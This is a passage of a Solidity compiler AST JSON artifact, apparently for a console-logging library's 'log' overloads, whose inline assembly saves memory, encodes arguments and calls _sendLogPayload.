}],"id":38593,"nodeType":"VariableDeclarationStatement","src":"148727:10:22"},{"assignments":[38595],"declarations":[{"constant":false,"id":38595,"mutability":"mutable","name":"m3","nameLocation":"148755:2:22","nodeType":"VariableDeclaration","scope":38619,"src":"148747:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38594,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148747:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38596,"nodeType":"VariableDeclarationStatement","src":"148747:10:22"},{"assignments":[38598],"declarations":[{"constant":false,"id":38598,"mutability":"mutable","name":"m4","nameLocation":"148775:2:22","nodeType":"VariableDeclaration","scope":38619,"src":"148767:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38597,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148767:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38599,"nodeType":"VariableDeclarationStatement","src":"148767:10:22"},{"assignments":[38601],"declarations":[{"constant":false,"id":38601,"mutability":"mutable","name":"m5","nameLocation":"148795:2:22","nodeType":"VariableDeclaration","scope":38619,"src":"148787:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38600,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148787:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38602,"nodeType":"VariableDeclarationStatement","src":"148787:10:22"},{"assignments":[38604],"declarations":[{"constant":false,"id":38604,"mutability":"mutable","name":"m6","nameLocation":"148815:2:22","nodeType":"VariableDeclaration","scope":38619,"src":"148807:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38603,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148807:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38605,"nodeType":"VariableDeclarationStatement","src":"148807:10:22"},{"assignments":[38607],"declarations":[{"constant":false,"id":38607,"mutability":"mutable","name":"m7","nameLocation":"148835:2:22","nodeType":"VariableDeclaration","scope":38619,"src":"148827:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38606,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148827:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38608,"nodeType":"VariableDeclarationStatement","src":"148827:10:22"},{"assignments":[38610],"declarations":[{"constant":false,"id":38610,"mutability":"mutable","name":"m8","nameLocation":"148855:2:22","nodeType":"VariableDeclaration","scope":38619,"src":"148847:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38609,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148847:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38611,"nodeType":"VariableDeclarationStatement","src":"148847:10:22"},{"AST":{"nativeSrc":"148876:927:22","nodeType":"YulBlock","src":"148876:927:22","statements":[{"body":{"nativeSrc":"148919:313:22","nodeType":"YulBlock","src":"148919:313:22","statements":[{"nativeSrc":"148937:15:22","nodeType":"YulVariableDeclaration","src":"148937:15:22","value":{"kind":"number","nativeSrc":"148951:1:22","nodeType":"YulLiteral","src":"148951:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"148941:6:22","nodeType":"YulTypedName","src":"148941:6:22","type":""}]},{"body":{"nativeSrc":"149022:40:22","nodeType":"YulBlock","src":"149022:40:22","statements":[{"body":{"nativeSrc":"149051:9:22","nodeType":"YulBlock","src":"149051:9:22","statements":[{"nativeSrc":"149053:5:22","nodeType":"YulBreak","src":"149053:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"149039:6:22","nodeType":"YulIdentifier","src":"149039:6:22"},{"name":"w","nativeSrc":"149047:1:22","nodeType":"YulIdentifier","src":"149047:1:22"}],"functionName":{"name":"byte","nativeSrc":"149034:4:22","nodeType":"YulIdentifier","src":"149034:4:22"},"nativeSrc":"149034:15:22","nodeType":"YulFunctionCall","src":"149034:15:22"}],"functionName":{"name":"iszero","nativeSrc":"149027:6:22","nodeType":"YulIdentifier","src":"149027:6:22"},"nativeSrc":"149027:23:22","nodeType":"YulFunctionCall","src":"149027:23:22"},"nativeSrc":"149024:36:22","nodeType":"YulIf","src":"149024:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"148979:6:22","nodeType":"YulIdentifier","src":"148979:6:22"},{"kind":"number","nativeSrc":"148987:4:22","nodeType":"YulLiteral","src":"148987:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"148976:2:22","nodeType":"YulIdentifier","src":"148976:2:22"},"nativeSrc":"148976:16:22","nodeType":"YulFunctionCall","src":"148976:16:22"},"nativeSrc":"148969:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"148993:28:22","nodeType":"YulBlock","src":"148993:28:22","statements":[{"nativeSrc":"148995:24:22","nodeType":"YulAssignment","src":"148995:24:22","value":{"arguments":[{"name":"length","nativeSrc":"149009:6:22","nodeType":"YulIdentifier","src":"149009:6:22"},{"kind":"number","nativeSrc":"149017:1:22","nodeType":"YulLiteral","src":"149017:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"149005:3:22","nodeType":"YulIdentifier","src":"149005:3:22"},"nativeSrc":"149005:14:22","nodeType":"YulFunctionCall","src":"149005:14:22"},"variableNames":[{"name":"length","nativeSrc":"148995:6:22","nodeType":"YulIdentifier","src":"148995:6:22"}]}]},"pre":{"nativeSrc":"148973:2:22","nodeType":"YulBlock","src":"148973:2:22","statements":[]},"src":"148969:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"149086:3:22","nodeType":"YulIdentifier","src":"149086:3:22"},{"name":"length","nativeSrc":"149091:6:22","nodeType":"YulIdentifier","src":"149091:6:22"}],"functionName":{"name":"mstore","nativeSrc":"149079:6:22","nodeType":"YulIdentifier","src":"149079:6:22"},"nativeSrc":"149079:19:22","nodeType":"YulFunctionCall","src":"149079:19:22"},"nativeSrc":"149079:19:22","nodeType":"YulExpressionStatement","src":"149079:19:22"},{"nativeSrc":"149115:37:22","nodeType":"YulVariableDeclaration","src":"149115:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"149132:3:22","nodeType":"YulLiteral","src":"149132:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"149141:1:22","nodeType":"YulLiteral","src":"149141:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"149144:6:22","nodeType":"YulIdentifier","src":"149144:6:22"}],"functionName":{"name":"shl","nativeSrc":"149137:3:22","nodeType":"YulIdentifier","src":"149137:3:22"},"nativeSrc":"149137:14:22","nodeType":"YulFunctionCall","src":"149137:14:22"}],"functionName":{"name":"sub","nativeSrc":"149128:3:22","nodeType":"YulIdentifier","src":"149128:3:22"},"nativeSrc":"149128:24:22","nodeType":"YulFunctionCall","src":"149128:24:22"},"variables":[{"name":"shift","nativeSrc":"149119:5:22","nodeType":"YulTypedName","src":"149119:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"149180:3:22","nodeType":"YulIdentifier","src":"149180:3:22"},{"kind":"number","nativeSrc":"149185:4:22","nodeType":"YulLiteral","src":"149185:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"149176:3:22","nodeType":"YulIdentifier","src":"149176:3:22"},"nativeSrc":"149176:14:22","nodeType":"YulFunctionCall","src":"149176:14:22"},{"arguments":[{"name":"shift","nativeSrc":"149196:5:22","nodeType":"YulIdentifier","src":"149196:5:22"},{"arguments":[{"name":"shift","nativeSrc":"149207:5:22","nodeType":"YulIdentifier","src":"149207:5:22"},{"name":"w","nativeSrc":"149214:1:22","nodeType":"YulIdentifier","src":"149214:1:22"}],"functionName":{"name":"shr","nativeSrc":"149203:3:22","nodeType":"YulIdentifier","src":"149203:3:22"},"nativeSrc":"149203:13:22","nodeType":"YulFunctionCall","src":"149203:13:22"}],"functionName":{"name":"shl","nativeSrc":"149192:3:22","nodeType":"YulIdentifier","src":"149192:3:22"},"nativeSrc":"149192:25:22","nodeType":"YulFunctionCall","src":"149192:25:22"}],"functionName":{"name":"mstore","nativeSrc":"149169:6:22","nodeType":"YulIdentifier","src":"149169:6:22"},"nativeSrc":"149169:49:22","nodeType":"YulFunctionCall","src":"149169:49:22"},"nativeSrc":"149169:49:22","nodeType":"YulExpressionStatement","src":"149169:49:22"}]},"name":"writeString","nativeSrc":"148890:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"148911:3:22","nodeType":"YulTypedName","src":"148911:3:22","type":""},{"name":"w","nativeSrc":"148916:1:22","nodeType":"YulTypedName","src":"148916:1:22","type":""}],"src":"148890:342:22"},{"nativeSrc":"149245:17:22","nodeType":"YulAssignment","src":"149245:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"149257:4:22","nodeType":"YulLiteral","src":"149257:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"149251:5:22","nodeType":"YulIdentifier","src":"149251:5:22"},"nativeSrc":"149251:11:22","nodeType":"YulFunctionCall","src":"149251:11:22"},"variableNames":[{"name":"m0","nativeSrc":"149245:2:22","nodeType":"YulIdentifier","src":"149245:2:22"}]},{"nativeSrc":"149275:17:22","nodeType":"YulAssignment","src":"149275:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"149287:4:22","nodeType":"YulLiteral","src":"149287:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"149281:5:22","nodeType":"YulIdentifier","src":"149281:5:22"},"nativeSrc":"149281:11:22","nodeType":"YulFunctionCall","src":"149281:11:22"},"variableNames":[{"name":"m1","nativeSrc":"149275:2:22","nodeType":"YulIdentifier","src":"149275:2:22"}]},{"nativeSrc":"149305:17:22","nodeType":"YulAssignment","src":"149305:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"149317:4:22","nodeType":"YulLiteral","src":"149317:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"149311:5:22","nodeType":"YulIdentifier","src":"149311:5:22"},"nativeSrc":"149311:11:22","nodeType":"YulFunctionCall","src":"149311:11:22"},"variableNames":[{"name":"m2","nativeSrc":"149305:2:22","nodeType":"YulIdentifier","src":"149305:2:22"}]},{"nativeSrc":"149335:17:22","nodeType":"YulAssignment","src":"149335:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"149347:4:22","nodeType":"YulLiteral","src":"149347:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"149341:5:22","nodeType":"YulIdentifier","src":"149341:5:22"},"nativeSrc":"149341:11:22","nodeType":"YulFunctionCall","src":"149341:11:22"},"variableNames":[{"name":"m3","nativeSrc":"149335:2:22","nodeType":"YulIdentifier","src":"149335:2:22"}]},{"nativeSrc":"149365:17:22","nodeType":"YulAssignment","src":"149365:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"149377:4:22","nodeType":"YulLiteral","src":"149377:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"149371:5:22","nodeType":"YulIdentifier","src":"149371:5:22"},"nativeSrc":"149371:11:22","nodeType":"YulFunctionCall","src":"149371:11:22"},"variableNames":[{"name":"m4","nativeSrc":"149365:2:22","nodeType":"YulIdentifier","src":"149365:2:22"}]},{"nativeSrc":"149395:17:22","nodeType":"YulAssignment","src":"149395:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"149407:4:22","nodeType":"YulLiteral","src":"149407:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"149401:5:22","nodeType":"YulIdentifier","src":"149401:5:22"},"nativeSrc":"149401:11:22","nodeType":"YulFunctionCall","src":"149401:11:22"},"variableNames":[{"name":"m5","nativeSrc":"149395:2:22","nodeType":"YulIdentifier","src":"149395:2:22"}]},{"nativeSrc":"149425:17:22","nodeType":"YulAssignment","src":"149425:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"149437:4:22","nodeType":"YulLiteral","src":"149437:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"149431:5:22","nodeType":"YulIdentifier","src":"149431:5:22"},"nativeSrc":"149431:11:22","nodeType":"YulFunctionCall","src":"149431:11:22"},"variableNames":[{"name":"m6","nativeSrc":"149425:2:22","nodeType":"YulIdentifier","src":"149425:2:22"}]},{"nativeSrc":"149455:17:22","nodeType":"YulAssignment","src":"149455:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"149467:4:22","nodeType":"YulLiteral","src":"149467:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"149461:5:22","nodeType":"YulIdentifier","src":"149461:5:22"},"nativeSrc":"149461:11:22","nodeType":"YulFunctionCall","src":"149461:11:22"},"variableNames":[{"name":"m7","nativeSrc":"149455:2:22","nodeType":"YulIdentifier","src":"149455:2:22"}]},{"nativeSrc":"149485:18:22","nodeType":"YulAssignment","src":"149485:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"149497:5:22","nodeType":"YulLiteral","src":"149497:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"149491:5:22","nodeType":"YulIdentifier","src":"149491:5:22"},"nativeSrc":"149491:12:22","nodeType":"YulFunctionCall","src":"149491:12:22"},"variableNames":[{"name":"m8","nativeSrc":"149485:2:22","nodeType":"YulIdentifier","src":"149485:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149588:4:22","nodeType":"YulLiteral","src":"149588:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"149594:10:22","nodeType":"YulLiteral","src":"149594:10:22","type":"","value":"0x448830a8"}],"functionName":{"name":"mstore","nativeSrc":"149581:6:22","nodeType":"YulIdentifier","src":"149581:6:22"},"nativeSrc":"149581:24:22","nodeType":"YulFunctionCall","src":"149581:24:22"},"nativeSrc":"149581:24:22","nodeType":"YulExpressionStatement","src":"149581:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149625:4:22","nodeType":"YulLiteral","src":"149625:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"149631:2:22","nodeType":"YulIdentifier","src":"149631:2:22"}],"functionName":{"name":"mstore","nativeSrc":"149618:6:22","nodeType":"YulIdentifier","src":"149618:6:22"},"nativeSrc":"149618:16:22","nodeType":"YulFunctionCall","src":"149618:16:22"},"nativeSrc":"149618:16:22","nodeType":"YulExpressionStatement","src":"149618:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149654:4:22","nodeType":"YulLiteral","src":"149654:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"149660:4:22","nodeType":"YulLiteral","src":"149660:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"149647:6:22","nodeType":"YulIdentifier","src":"149647:6:22"},"nativeSrc":"149647:18:22","nodeType":"YulFunctionCall","src":"149647:18:22"},"nativeSrc":"149647:18:22","nodeType":"YulExpressionStatement","src":"149647:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149685:4:22","nodeType":"YulLiteral","src":"149685:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"149691:2:22","nodeType":"YulIdentifier","src":"149691:2:22"}],"functionName":{"name":"mstore","nativeSrc":"149678:6:22","nodeType":"YulIdentifier","src":"149678:6:22"},"nativeSrc":"149678:16:22","nodeType":"YulFunctionCall","src":"149678:16:22"},"nativeSrc":"149678:16:22","nodeType":"YulExpressionStatement","src":"149678:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149714:4:22","nodeType":"YulLiteral","src":"149714:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"149720:4:22","nodeType":"YulLiteral","src":"149720:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"149707:6:22","nodeType":"YulIdentifier","src":"149707:6:22"},"nativeSrc":"149707:18:22","nodeType":"YulFunctionCall","src":"149707:18:22"},"nativeSrc":"149707:18:22","nodeType":"YulExpressionStatement","src":"149707:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149750:4:22","nodeType":"YulLiteral","src":"149750:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"149756:2:22","nodeType":"YulIdentifier","src":"149756:2:22"}],"functionName":{"name":"writeString","nativeSrc":"149738:11:22","nodeType":"YulIdentifier","src":"149738:11:22"},"nativeSrc":"149738:21:22","nodeType":"YulFunctionCall","src":"149738:21:22"},"nativeSrc":"149738:21:22","nodeType":"YulExpressionStatement","src":"149738:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149784:4:22","nodeType":"YulLiteral","src":"149784:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"149790:2:22","nodeType":"YulIdentifier","src":"149790:2:22"}],"functionName":{"name":"writeString","nativeSrc":"149772:11:22","nodeType":"YulIdentifier","src":"149772:11:22"},"nativeSrc":"149772:21:22","nodeType":"YulFunctionCall","src":"149772:21:22"},"nativeSrc":"149772:21:22","nodeType":"YulExpressionStatement","src":"149772:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38586,"isOffset":false,"isSlot":false,"src":"149245:2:22","valueSize":1},{"declaration":38589,"isOffset":false,"isSlot":false,"src":"149275:2:22","valueSize":1},{"declaration":38592,"isOffset":false,"isSlot":false,"src":"149305:2:22","valueSize":1},{"declaration":38595,"isOffset":false,"isSlot":false,"src":"149335:2:22","valueSize":1},{"declaration":38598,"isOffset":false,"isSlot":false,"src":"149365:2:22","valueSize":1},{"declaration":38601,"isOffset":false,"isSlot":false,"src":"149395:2:22","valueSize":1},{"declaration":38604,"isOffset":false,"isSlot":false,"src":"149425:2:22","valueSize":1},{"declaration":38607,"isOffset":false,"isSlot":false,"src":"149455:2:22","valueSize":1},{"declaration":38610,"isOffset":false,"isSlot":false,"src":"149485:2:22","valueSize":1},{"declaration":38576,"isOffset":false,"isSlot":false,"src":"149631:2:22","valueSize":1},{"declaration":38578,"isOffset":false,"isSlot":false,"src":"149756:2:22","valueSize":1},{"declaration":38580,"isOffset":false,"isSlot":false,"src":"149691:2:22","valueSize":1},{"declaration":38582,"isOffset":false,"isSlot":false,"src":"149790:2:22","valueSize":1}],"id":38612,"nodeType":"InlineAssembly","src":"148867:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38614,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"149828:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":38615,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"149834:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":38613,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"149812:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38616,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"149812:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38617,"nodeType":"ExpressionStatement","src":"149812:28:22"},{"AST":{"nativeSrc":"149859:273:22","nodeType":"YulBlock","src":"149859:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"149880:4:22","nodeType":"YulLiteral","src":"149880:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"149886:2:22","nodeType":"YulIdentifier","src":"149886:2:22"}],"functionName":{"name":"mstore","nativeSrc":"149873:6:22","nodeType":"YulIdentifier","src":"149873:6:22"},"nativeSrc":"149873:16:22","nodeType":"YulFunctionCall","src":"149873:16:22"},"nativeSrc":"149873:16:22","nodeType":"YulExpressionStatement","src":"149873:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149909:4:22","nodeType":"YulLiteral","src":"149909:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"149915:2:22","nodeType":"YulIdentifier","src":"149915:2:22"}],"functionName":{"name":"mstore","nativeSrc":"149902:6:22","nodeType":"YulIdentifier","src":"149902:6:22"},"nativeSrc":"149902:16:22","nodeType":"YulFunctionCall","src":"149902:16:22"},"nativeSrc":"149902:16:22","nodeType":"YulExpressionStatement","src":"149902:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149938:4:22","nodeType":"YulLiteral","src":"149938:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"149944:2:22","nodeType":"YulIdentifier","src":"149944:2:22"}],"functionName":{"name":"mstore","nativeSrc":"149931:6:22","nodeType":"YulIdentifier","src":"149931:6:22"},"nativeSrc":"149931:16:22","nodeType":"YulFunctionCall","src":"149931:16:22"},"nativeSrc":"149931:16:22","nodeType":"YulExpressionStatement","src":"149931:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149967:4:22","nodeType":"YulLiteral","src":"149967:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"149973:2:22","nodeType":"YulIdentifier","src":"149973:2:22"}],"functionName":{"name":"mstore","nativeSrc":"149960:6:22","nodeType":"YulIdentifier","src":"149960:6:22"},"nativeSrc":"149960:16:22","nodeType":"YulFunctionCall","src":"149960:16:22"},"nativeSrc":"149960:16:22","nodeType":"YulExpressionStatement","src":"149960:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"149996:4:22","nodeType":"YulLiteral","src":"149996:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"150002:2:22","nodeType":"YulIdentifier","src":"150002:2:22"}],"functionName":{"name":"mstore","nativeSrc":"149989:6:22","nodeType":"YulIdentifier","src":"149989:6:22"},"nativeSrc":"149989:16:22","nodeType":"YulFunctionCall","src":"149989:16:22"},"nativeSrc":"149989:16:22","nodeType":"YulExpressionStatement","src":"149989:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"150025:4:22","nodeType":"YulLiteral","src":"150025:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"150031:2:22","nodeType":"YulIdentifier","src":"150031:2:22"}],"functionName":{"name":"mstore","nativeSrc":"150018:6:22","nodeType":"YulIdentifier","src":"150018:6:22"},"nativeSrc":"150018:16:22","nodeType":"YulFunctionCall","src":"150018:16:22"},"nativeSrc":"150018:16:22","nodeType":"YulExpressionStatement","src":"150018:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"150054:4:22","nodeType":"YulLiteral","src":"150054:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"150060:2:22","nodeType":"YulIdentifier","src":"150060:2:22"}],"functionName":{"name":"mstore","nativeSrc":"150047:6:22","nodeType":"YulIdentifier","src":"150047:6:22"},"nativeSrc":"150047:16:22","nodeType":"YulFunctionCall","src":"150047:16:22"},"nativeSrc":"150047:16:22","nodeType":"YulExpressionStatement","src":"150047:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"150083:4:22","nodeType":"YulLiteral","src":"150083:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"150089:2:22","nodeType":"YulIdentifier","src":"150089:2:22"}],"functionName":{"name":"mstore","nativeSrc":"150076:6:22","nodeType":"YulIdentifier","src":"150076:6:22"},"nativeSrc":"150076:16:22","nodeType":"YulFunctionCall","src":"150076:16:22"},"nativeSrc":"150076:16:22","nodeType":"YulExpressionStatement","src":"150076:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"150112:5:22","nodeType":"YulLiteral","src":"150112:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"150119:2:22","nodeType":"YulIdentifier","src":"150119:2:22"}],"functionName":{"name":"mstore","nativeSrc":"150105:6:22","nodeType":"YulIdentifier","src":"150105:6:22"},"nativeSrc":"150105:17:22","nodeType":"YulFunctionCall","src":"150105:17:22"},"nativeSrc":"150105:17:22","nodeType":"YulExpressionStatement","src":"150105:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38586,"isOffset":false,"isSlot":false,"src":"149886:2:22","valueSize":1},{"declaration":38589,"isOffset":false,"isSlot":false,"src":"149915:2:22","valueSize":1},{"declaration":38592,"isOffset":false,"isSlot":false,"src":"149944:2:22","valueSize":1},{"declaration":38595,"isOffset":false,"isSlot":false,"src":"149973:2:22","valueSize":1},{"declaration":38598,"isOffset":false,"isSlot":false,"src":"150002:2:22","valueSize":1},{"declaration":38601,"isOffset":false,"isSlot":false,"src":"150031:2:22","valueSize":1},{"declaration":38604,"isOffset":false,"isSlot":false,"src":"150060:2:22","valueSize":1},{"declaration":38607,"isOffset":false,"isSlot":false,"src":"150089:2:22","valueSize":1},{"declaration":38610,"isOffset":false,"isSlot":false,"src":"150119:2:22","valueSize":1}],"id":38618,"nodeType":"InlineAssembly","src":"149850:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"148611:3:22","parameters":{"id":38583,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38576,"mutability":"mutable","name":"p0","nameLocation":"148623:2:22","nodeType":"VariableDeclaration","scope":38620,"src":"148615:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38575,"name":"address","nodeType":"ElementaryTypeName","src":"148615:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38578,"mutability":"mutable","name":"p1","nameLocation":"148635:2:22","nodeType":"VariableDeclaration","scope":38620,"src":"148627:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38577,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148627:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38580,"mutability":"mutable","name":"p2","nameLocation":"148647:2:22","nodeType":"VariableDeclaration","scope":38620,"src":"148639:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38579,"name":"uint256","nodeType":"ElementaryTypeName","src":"148639:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":38582,"mutability":"mutable","name":"p3","nameLocation":"148659:2:22","nodeType":"VariableDeclaration","scope":38620,"src":"148651:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38581,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148651:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"148614:48:22"},"returnParameters":{"id":38584,"nodeType":"ParameterList","parameters":[],"src":"148677:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38666,"nodeType":"FunctionDefinition","src":"150144:1536:22","nodes":[],"body":{"id":38665,"nodeType":"Block","src":"150219:1461:22","nodes":[],"statements":[{"assignments":[38632],"declarations":[{"constant":false,"id":38632,"mutability":"mutable","name":"m0","nameLocation":"150237:2:22","nodeType":"VariableDeclaration","scope":38665,"src":"150229:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38631,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150229:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38633,"nodeType":"VariableDeclarationStatement","src":"150229:10:22"},{"assignments":[38635],"declarations":[{"constant":false,"id":38635,"mutability":"mutable","name":"m1","nameLocation":"150257:2:22","nodeType":"VariableDeclaration","scope":38665,"src":"150249:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38634,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150249:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38636,"nodeType":"VariableDeclarationStatement","src":"150249:10:22"},{"assignments":[38638],"declarations":[{"constant":false,"id":38638,"mutability":"mutable","name":"m2","nameLocation":"150277:2:22","nodeType":"VariableDeclaration","scope":38665,"src":"150269:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38637,"name":"bytes32","nodeType":"ElementaryTypeName","src":"150269:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38639,"nodeType":"VariableDeclarationStatement","src":"150269:10:22"},{"assignments":[38641],"declarations":[{"constant":false,"id":38641,"mutability":"mutable","name":"m3","nameLocation":"150297:2:22","nodeType":"VariableDeclaration","scope":38665,